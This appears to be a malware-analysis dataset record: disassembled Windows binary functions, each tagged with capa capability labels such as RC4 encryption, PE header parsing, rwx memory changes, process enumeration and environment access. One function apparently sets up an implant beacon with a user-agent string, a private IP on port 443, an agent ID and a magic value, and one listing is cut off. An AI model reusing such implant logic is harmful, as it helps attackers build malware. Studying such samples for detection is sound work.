joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006a40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140006ac0
cmp r11, r10
ja 0x140006b37
cmp r10, rdx
ja 0x140006b49
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140006ac2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140006aa0
jmp 0x140006b24
ja 0x140006aca
mov r11, r10
cmp rax, r8
jne 0x140006a6e
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140006b00
mov rdi, r8
sub ecx, edx
jns 0x140006b1b
jmp 0x140006b26
cmp r8, rsi
je 0x140006b58
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140006b26
xor al, 1
cmp rdi, rsi
jne 0x140006ae0
jmp 0x140006b26
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140029cd0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140029b20
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140029dd0
int3
Function at 0x1400079fa
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
cmp byte [rcx + 0x79], 0
je 0x140007a0f
xor esi, esi
jmp 0x140007bbc
mov rdi, rcx
mov rsi, qword [rcx + 0x48]
lea rax, [rcx + 8]
cmp qword [rcx], 0
je 0x140007a59
mov r9, qword [rdi + 0x50]
movups xmm0, xmmword [rdi + 0x58]
cmp qword [rdi + 0x38], 0xffffffffffffffff
sete byte [rsp + 0x30]
movups xmmword [rsp + 0x20], xmm0
lea rbx, [rsp + 0x40]
mov rcx, rbx
mov rdx, rax
mov r8, rsi
call fcn.140007be0
cmp qword [rbx], 0
jne 0x140007b8a
jmp 0x140007b5f
mov cl, byte [rdi + 0x1a]
mov r8, qword [rdi + 8]
mov rdx, qword [rdi + 0x50]
mov r9b, byte [rdi + 0x18]
test cl, cl
jne 0x140007b5f
mov r10d, r9d
xor r10b, 1
mov byte [rdi + 0x18], r10b
test r8, r8
je 0x140007a97
cmp r8, rdx
jae 0x140007a91
cmp byte [rsi + r8], 0xbf
jg 0x140007a97
jmp 0x140007bc8
jne 0x140007bc8
cmp r8, rdx
je 0x140007b56
mov bl, byte [rsi + r8]
movzx r10d, bl
test r10b, r10b
jns 0x140007b0b
mov r11d, r10d
and r11d, 0x1f
movzx ebp, byte [rsi + r8 + 1]
and ebp, 0x3f
cmp r10b, 0xdf
jbe 0x140007af8
movzx r10d, byte [rsi + r8 + 2]
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
cmp bl, 0xf0
jb 0x140007b04
movzx ebx, byte [rsi + r8 + 3]
and r11d, 7
shl r11d, 0x12
shl r10d, 6
and ebx, 0x3f
or ebx, r10d
or ebx, r11d
mov r10d, ebx
jmp 0x140007b0b
shl r11d, 6
or r11d, ebp
mov r10d, r11d
jmp 0x140007b0b
shl r11d, 0xc
or r10d, r11d
test r9b, r9b
jne 0x140007b7d
cmp r10d, 0x110000
je 0x140007b5b
mov r9d, 1
cmp r10d, 0x80
jb 0x140007b48
mov r9d, 2
cmp r10d, 0x800
jb 0x140007b48
cmp r10d, 0x10000
mov r9d, 4
sbb r9, 0
add r8, r9
mov qword [rax], r8
mov r9b, 1
jmp 0x140007a68
test r9b, r9b
jne 0x140007b80
mov byte [rdi + 0x1a], 1
cmp byte [rdi + 0x79], 0
jne 0x140007a08
mov byte [rdi + 0x79], 1
cmp byte [rdi + 0x78], 0
je 0x140007ba4
mov rsi, qword [rdi + 0x68]
mov rdx, qword [rdi + 0x70]
jmp 0x140007bb5
mov rdx, r8
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], rdx
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rdi + 0x68]
sub rdx, rcx
add rsi, rcx
mov qword [rdi + 0x68], rax
jmp 0x140007bbc
mov rsi, qword [rdi + 0x68]
mov rdx, qword [rdi + 0x70]
cmp rdx, rsi
je 0x140007a08
sub rdx, rsi
add rsi, qword [rdi + 0x48]
mov rax, rsi
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rax, str._rustc_129f3b9964af4d4a709d1383930ade12dfe7c081librarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov r9, rdx
call fcn.140029f10
int3
Function at 0x14000e2b0
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x14000e2d5
cmp rax, rcx
je 0x14000e2db
cmp rdx, 4
jae 0x14000e2e2
xor eax, eax
xor r8d, r8d
jmp 0x14000e380
pop rbp
jmp fcn.140003d60
xor eax, eax
jmp 0x14000e397
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x14002c590]
movdqa xmm3, xmmword [0x14002c5a0]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x14000e310
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x14000e397
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x14000e380
pop rbp
ret
Function at 0x140015b70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
movzx eax, byte [rdx + 0x3a]
cmp al, byte [rax + r8*8 - 0x3f6af0bf]
cmp r9b, 1
ja 0x140015bf6
test al, al
jne 0x140015bcf
movzx esi, byte [rdx + 0x10]
lea eax, [rsi - 5]
cmp al, 1
ja 0x140015bcf
mov r10, qword [rdx]
xor r8d, r8d
xor eax, eax

Function at 0x14001ba14
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001ba5e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001ba5e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001ba5e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001ba5e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001ba5e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001ba60
xor al, al
add rsp, 0x28
ret

Function at 0x14001f0d8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001f147
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001f147
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001f147
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001f147
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001f147
cmp dword [rcx + 0x84], 0xe
jbe 0x14001f147
cmp dword [rcx + 0xf8], 0
je 0x14001f147
mov ecx, ebx
call fcn.14001f1f8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001efd4
nop
cmp dword [rbp + 0x20], 0
je 0x14001f195
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001f1a0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001f0d8

Function at 0x14001f2dc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001f0d8
Function at 0x14002239c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400223cc
xor eax, eax
jmp 0x14002248f
mov rbp, rbx
cmp word [rax], si
je 0x1400223f1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400223d8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400223d4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400222bc
movsxd r14, eax
test eax, eax
jne 0x14002242f
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
jmp 0x1400223c5
mov rcx, r14
call fcn.140023278
mov rdi, rax
test rax, rax
jne 0x140022448
xor ecx, ecx
call fcn.14002091c
jmp 0x140022424
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400222bc
test eax, eax
jne 0x140022479
mov rcx, rdi
call fcn.14002091c
jmp 0x140022483
xor ecx, ecx
call fcn.14002091c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140025980
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14002138c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140025a0a
cmp byte [rbp - 0x21], r15b
je 0x140025a05
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140025a40
call fcn.140023a88
test eax, eax
jne 0x140025a2c
cmp byte [rbp - 0x21], r15b
je 0x140025a24
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140025a40
cmp byte [rbp - 0x21], r15b
je 0x140025a3d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14002096c
test eax, eax
jne 0x140025ae0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14002138c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140025a7f
cmp byte [rbp - 0x21], r15b
je 0x140025ab4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140025ab4
call fcn.140023a88
test eax, eax
jne 0x140025aa0
cmp byte [rbp - 0x21], r15b
je 0x140025a99
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140025ab4
cmp byte [rbp - 0x21], r15b
je 0x140025ab1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14002096c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140025ae0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140025ae3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140025af1
mov rcx, rdi
call fcn.14002091c
cmp byte [rbp + 0x3f], r15b
je 0x140025b00
mov rcx, qword [rbp + 0x27]
call fcn.14002091c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400289e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028a08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140028a08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001760
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007590
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007590
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400017d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f114]
mov rbx, rcx
test esi, esi
jle 0x140001900
mov rax, qword [0x14000f118]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000181b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001800
mov rcx, rbx
call fcn.140002240
mov rdi, rax
test rax, rax
je 0x140001922
mov rax, qword [0x14000f118]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002380
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f118]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001907
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000189e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400018b0
add dword [0x14000f114], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f118]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000189e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001760
nop dword [rax]
xor esi, esi
jmp 0x140001828
mov rax, qword [0x14000f118]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001760
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001760
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001eb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000f180]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f160]
test rbx, rbx
je 0x140001f0c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001f03
test eax, eax
jne 0x140001f03
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ee8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002240
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000bba0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002260
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002268
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002260
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400022bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400022b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002260
add rax, 0x28
cmp rax, r9
jne 0x1400022a0
xor eax, eax
ret

Function at 0x1400022c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000bba0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000bba0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000239f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400023a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007ce0
Capabilities:
Read file on windows

Disassembly:
push r15
xor eax, eax
xor edx, edx
push r14
push r13
mov r13, rcx
mov ecx, 0x401
push r12
push rbp
xor ebp, ebp
push rdi
push rsi
push rbx
sub rsp, 0x458
lea rdi, [rsp + 0x4f]
mov dword [rsp + 0x48], edx
mov edx, 8
lea r14, [rsp + 0x48]
rep stosb byte [rdi], al
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r15, qword [sym.imp.KERNEL32.dll_ReadFile]
mov rbx, rax
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x38], rax
xor eax, eax
mov rdx, qword [rsp + 0x38]
mov r9, r14
mov r8d, 0x400
mov qword [rsp + 0x20], rax
mov rcx, r13
mov esi, ebp
call r15
mov r12d, eax
mov eax, dword [rsp + 0x48]
test eax, eax
je 0x140007d98
mov rcx, rbx
lea edx, [rax + rbp]
mov r8d, 0x42
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [rsp + 0x48]
mov rbx, rax
lea rax, [rax + rsi]
mov rsi, qword [rsp + 0x38]
add ebp, ecx
mov rdi, rax
xor eax, eax
dec r12d
rep movsb byte [rdi], byte [rsi]
mov rdi, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x48]
rep stosb byte [rdi], al
je 0x140007d35
mov ecx, 0x200
mov rdi, rbx
call fcn.1400085d0
mov r8, rbp
mov rdx, rbx
mov r12, rax
mov rcx, rax
call fcn.140008470
mov rcx, r12
xor r8d, r8d
xor edx, edx
call fcn.140008710
xor eax, eax
mov rcx, rbp
rep stosb byte [rdi], al
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
add rsp, 0x458
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400088b0
Capabilities:
Reference http user-agent string

Disassembly:
push rbp
lea rax, str.Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
lea rbp, str.ntdll
push rdi
mov rcx, rbp
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x14000bb60]
mov rdi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbx + 0x28], rax
lea rax, str.192.168.137.133
mov qword [rbx + 0x30], rax
xor eax, eax
mov dword [rbx + 0x38], 0x1bb
mov dword [rbx + 0x4c], eax
call rdi
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlRandomEx
mov rcx, rax
call rsi
mov rcx, rbp
mov qword [rbx + 0x10], rax
call rdi
lea rdx, str.RtlGetVersion
mov rcx, rax
call rsi
mov qword [rbx + 0x18], rax
call fcn.140008860
lea rcx, str.AgentID________x_n
mov dword [rbx + 0x20], 3
mov edx, eax
mov dword [rbx], eax
call fcn.140009130
add rsp, 0x28
mov edx, 0x74616c6e
lea rcx, str.Magic_Value____x_n
pop rbx
pop rsi
pop rdi
pop rbp
jmp fcn.140009130
Function at 0x140011433
Capabilities:
Terminate process

Disassembly:
jmp 0x14001b4c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400114c9
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140016b40
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x468]
mov rax, qword [0x140027040]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x14002e0f3]
call fcn.14001174e
nop
mov dword [rbp + 4], 0
xor edx, edx
mov ecx, 2
call fcn.140011375
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
je 0x140016bf9
mov dword [rbp + 0x50], 0x238
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.140011497
test eax, eax
je 0x140016bee
mov rdx, qword [rbp + 0x440]
lea rcx, [rbp + 0x7c]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x140016bdd
mov eax, dword [rbp + 0x58]
mov dword [rbp + 4], eax
jmp 0x140016bee
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.14001168b
test eax, eax
jne 0x140016bc0
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140022f10]
call fcn.14001163b
mov eax, edi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.140011389
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret

Function at 0x140011537
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001bff0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001c010
xor al, al
jmp 0x14001c091
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001c023
xor al, al
jmp 0x14001c091
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001c04d
xor al, al
jmp 0x14001c091
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001c061
xor al, al
jmp 0x14001c091
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001c073
xor al, al
jmp 0x14001c091
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001c08f
xor al, al
jmp 0x14001c091
mov al, 1
add rsp, 0x38
ret
Function at 0x1400198e0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011785
movzx eax, al
test eax, eax
jne 0x140019900
mov ecx, 7
call fcn.14001164a
nop
mov byte [rsp + 0x20], 0
call fcn.14001167c
mov byte [rsp + 0x21], al
cmp dword [0x140027520], 1
jne 0x140019924
mov ecx, 7
call fcn.14001164a
nop
jmp 0x14001997c
cmp dword [0x140027520], 0
jne 0x140019977
mov dword [0x140027520], 1
lea rdx, [0x140022770]
lea rcx, [0x140022440]
call fcn.140011370
test eax, eax
je 0x140019958
mov eax, 0xff
jmp 0x140019a81
lea rdx, [0x140022330]
lea rcx, [section..rdata]
call fcn.140011663
mov dword [0x140027520], 2
jmp 0x14001997c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011631
call fcn.140011564
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400199d9
mov rcx, qword [rsp + 0x30]
call fcn.1400112da
movzx eax, al
test eax, eax
je 0x1400199d9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002f020]
nop
call fcn.1400115af
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140019a0d
mov rcx, qword [rsp + 0x38]
call fcn.1400112da
movzx eax, al
test eax, eax
je 0x140019a0d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011721
nop
call fcn.140019b30
mov dword [rsp + 0x28], eax
call fcn.140011537
movzx eax, al
test eax, eax
jne 0x140019a2c
mov ecx, dword [rsp + 0x28]
call fcn.1400110a0
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140019a3b
call fcn.14001173f
nop
xor edx, edx
mov cl, 1
call fcn.14001129e
mov eax, dword [rsp + 0x28]
jmp 0x140019a81
add rsp, 0x68
ret